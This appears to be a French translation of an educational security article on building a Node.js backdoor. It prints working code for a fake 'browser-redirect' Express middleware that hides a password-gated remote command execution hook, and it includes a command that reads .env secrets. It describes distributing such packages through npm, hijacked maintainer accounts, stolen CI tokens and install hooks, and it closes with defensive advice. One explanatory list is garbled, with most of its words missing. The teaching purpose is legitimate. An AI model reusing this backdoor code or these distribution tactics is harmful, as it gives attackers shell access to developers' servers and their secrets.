Connaissez votre ennemi: créez une porte dérobée Node.js

Une porte dérobée dans son propre code, qui peut interagir de manière transparente avec le système d'exploitation, est l'un des pires cauchemars de tout développeur. Actuellement, npm compte plus de 1,2 million de packages publics. Au cours des trois dernières années, la dépendance aux projets est devenue une cible idéale pour les cybercriminels. L'écosystème npm peut être étonnamment fragile si la communauté du développement ne porte pas une attention particulière à la sécurité. Comme preuve de cette idée, il suffit de rappeler le typosquattage et l' incident avec le package npm de flux d'événements. L'auteur de l'article, dont nous publions la traduction aujourd'hui, souhaite, à des fins pédagogiques, expliquer comment créer des portes dérobées pour la plateforme Node.js.





Qu'est-ce qu'une porte dérobée?


Voici la définition de «porte dérobée» donnée sur la ressource Malwarebytes : «Dans le domaine de la cybersécurité, une porte dérobée est toute méthode par laquelle les utilisateurs autorisés et non autorisés peuvent contourner les mesures de sécurité communes et obtenir un accès racine de haut niveau à un système informatique, application réseau. Après avoir obtenu un tel accès au système, les cybercriminels peuvent utiliser une porte dérobée pour voler des données personnelles et financières, installer des logiciels malveillants supplémentaires et pirater des appareils. »

La porte dérobée se compose de deux parties principales:

  1. Code malveillant intégré et exécuté sur un système attaqué
  2. Un canal de communication ouvert qui permet à un attaquant d'envoyer des commandes à une porte dérobée et de contrôler un ordinateur distant.

La porte dérobée installée sur l'ordinateur reçoit des commandes en réponse auxquelles elle effectue certaines actions. Il peut s'agir de commandes visant à extraire des informations précieuses du système, telles que des variables d'environnement, ou conçues pour effectuer une attaque sur la base de données. De plus, l'exécution de ces commandes peut entraîner une modification d'autres processus affectant un seul ordinateur ou l'ensemble du réseau. L'ampleur de l'attaque dépend des autorisations dont dispose l'application infectée. Dans notre cas, nous parlons d'une application écrite pour la plateforme Node.js.

Afin de créer une version simplifiée du programme qui implémente l'attaque ci-dessus, nous utiliserons le module standard child_process pour exécuter le code. Pour établir la communication avec la porte dérobée, nous utilisons un serveur HTTP. Je vous conseille d'utiliser le framework Express dans ce cas, qui est connu pour ses énormes capacités, mais ce qui sera discuté peut être implémenté à l'aide de tout autre outil approprié.

Pourquoi avons-nous besoin de child_process?


Le module Node.js standard child_processpeut être utilisé pour démarrer des processus enfants. L'idée principale ici est qu'elle nous donne la possibilité d'exécuter des commandes (entrant dans le processus via un flux d'entrée standard - stdin) comme pwdou ping snyk.io, puis d'intégrer le résultat de ces commandes (la sortie provient du flux de sortie - stdout) et d'éventuels messages d'erreur (de stream stderr) au programme principal.


Exécution de processus et sa relation avec les flux d'entrée, de sortie et d'erreur standard, qui jouent le rôle de flux d'entrée et de sortie pour un processus système en cours d'exécution.

Il existe différentes manières d'exécuter des processus enfants. Pour cette attaque, il est plus facile d'utiliser une fonctionexecqui vous permet de rappeler et de mettre dans les tampons appropriés ce qui entre dans les fluxstdoutetstderr. Par exemple, ce qui sera émis à la suite de la commandecat passwords.txt. Veuillez noter qu'une fonctionexecn'est pas la meilleure façon d'effectuer de longues tâches commeping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

Comment combiner la fonction exec avec le serveur HTTP?


J'ai développé un progiciel middleware de redirection de navigateur simple et d'apparence innocente pour les applications Express. Il redirige les utilisateurs non Chrome vers Browsehappy.com . Je vais inclure du code malveillant dans ce package.

Le code du package ressemblera à ceci:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Il suffit que la victime installe le package et l'utilise dans l'application Express de la même manière qu'elle utilise n'importe quel package de la couche intermédiaire:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Veuillez noter que dans ce cas, même s'il est utilisé Helmet, cela ne protège pas l'application contre les attaques.

Code malicieux


L'implémentation du code malveillant est assez simple:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Comment fonctionne notre porte dérobée? Pour répondre à cette question, tenez compte des éléments suivants:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


Maintenant que le code de porte dérobée est prêt, vous devez réfléchir à la façon de distribuer le package malveillant.

La première étape consiste à publier le package. J'ai publié le package browser-redirect@1.0.2dans npm. Mais si vous regardez le référentiel GitHub du projet, le code malveillant ne sera pas là. Voyez par vous-même - jetez un œil à la branche de projet maître et à la version 1.0.2 . Cela est possible du fait que npm ne vérifie pas le code des packages publiés avec le code publié dans un système conçu pour fonctionner avec le code source.

Bien que le package soit publié en npm, ses chances de distribution sont encore très faibles, car les victimes potentielles doivent toujours le trouver et l'installer.

Une autre façon de distribuer un package consiste à ajouter un module malveillant en tant que dépendance pour d'autres packages. Si un attaquant a accès à un compte disposant des droits de publication d'un package important, il peut publier une nouvelle version d'un tel package. Les dépendances de la nouvelle version du package comprendront également une porte dérobée. En conséquence, nous parlons de l'inclusion directe d'un package malveillant dans les dépendances d'un projet populaire (jetez un œil à l' analyse de l' incident qui s'est produit avec le flux d'événements). Alternativement, un attaquant peut essayer de faire des relations publiques dans un projet en apportant les modifications appropriées au fichier de verrouillage. Lisez à ce sujet ici .

Un autre facteur important qui doit être pris en compte est de savoir si l'attaquant a accès aux informations d'identification (nom d'utilisateur et mot de passe) d'une personne qui soutient un certain projet populaire. Si un attaquant possède de telles données, il peut facilement publier une nouvelle version du package - comme cela s'est produit avec eslint .

Mais même si quelqu'un qui prend en charge le projet utilise l'authentification à deux facteurs pour le publier, il le risque toujours. Et lorsqu'un système d'intégration continue est utilisé pour déployer de nouvelles versions du projet, l'authentification à deux facteurs doit être désactivée. Par conséquent, si un attaquant peut voler un jeton npm de travail pour un système d'intégration continue (par exemple, à partir de journaux rendus accidentellement publics, de fuites de données et d'autres sources similaires), il pourra alors déployer de nouvelles versions contenant du code malveillant. .

Veuillez noter que la nouvelle API a été publiée .(toujours en version bêta privée), qui vous permet de savoir si le package a été publié à l'aide de l'adresse IP du réseau TOR et si l'authentification à deux facteurs a été utilisée lors de la publication.

De plus, les attaquants peuvent configurer le code malveillant afin qu'il s'exécute sous la forme d'un script qui s'exécute avant l'installation ou après l'installation de tout package npm. Il existe des hooks de cycle de vie standard pour les packages npm qui vous permettent d'exécuter du code sur l'ordinateur d'un utilisateur à un moment précis. Par exemple, un système d'organisation des projets de test dans un navigateur, Puppeteer , utilise ces hooks pour installer Chromium sur un système hôte.

Ryan Dahl a déjà dità propos de ces vulnérabilités lors de JSConf EU 2018. La plate-forme Node.js a besoin d'un niveau de protection plus élevé pour empêcher cela et d'autres vecteurs d'attaque.

Voici quelques conclusions de l' étude de sécurité des logiciels open source:

  • 78% des vulnérabilités se trouvent dans des dépendances indirectes, ce qui complique le processus de suppression de ces vulnérabilités.
  • En 2 ans, les vulnérabilités des bibliothèques ont augmenté de 88%.
  • 81% des répondants pensent que les développeurs eux-mêmes devraient être responsables de la sécurité. Ils estiment en outre que les développeurs ne sont pas bien préparés à cela.

Résultats: comment se protéger des portes dérobées?


Le contrôle des dépendances n'est pas toujours facile, mais quelques conseils peuvent vous y aider:

  • Utilisez des bibliothèques bien connues et bien prises en charge.
  • Impliquez-vous dans la vie communautaire et aidez ceux qui soutiennent les bibliothèques. L'aide peut comprendre l'écriture de code ou un soutien financier pour des projets.
  • Utilisez NQP pour analyser les nouvelles dépendances de votre projet.
  • Utilisez Snyk pour vous tenir au courant des vulnérabilités et surveiller vos projets.
  • Analysez le code des dépendances que vous utilisez, stocké dans npm. Ne vous limitez pas à afficher le code de GitHub ou d'autres systèmes similaires.

Chers lecteurs! Comment protégez-vous vos projets en utilisant le code de quelqu'un d'autre?


All Articles